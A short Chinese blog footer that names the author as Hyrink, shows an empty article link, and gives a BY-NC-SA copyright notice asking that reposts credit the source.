本文作者:Hyrink

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!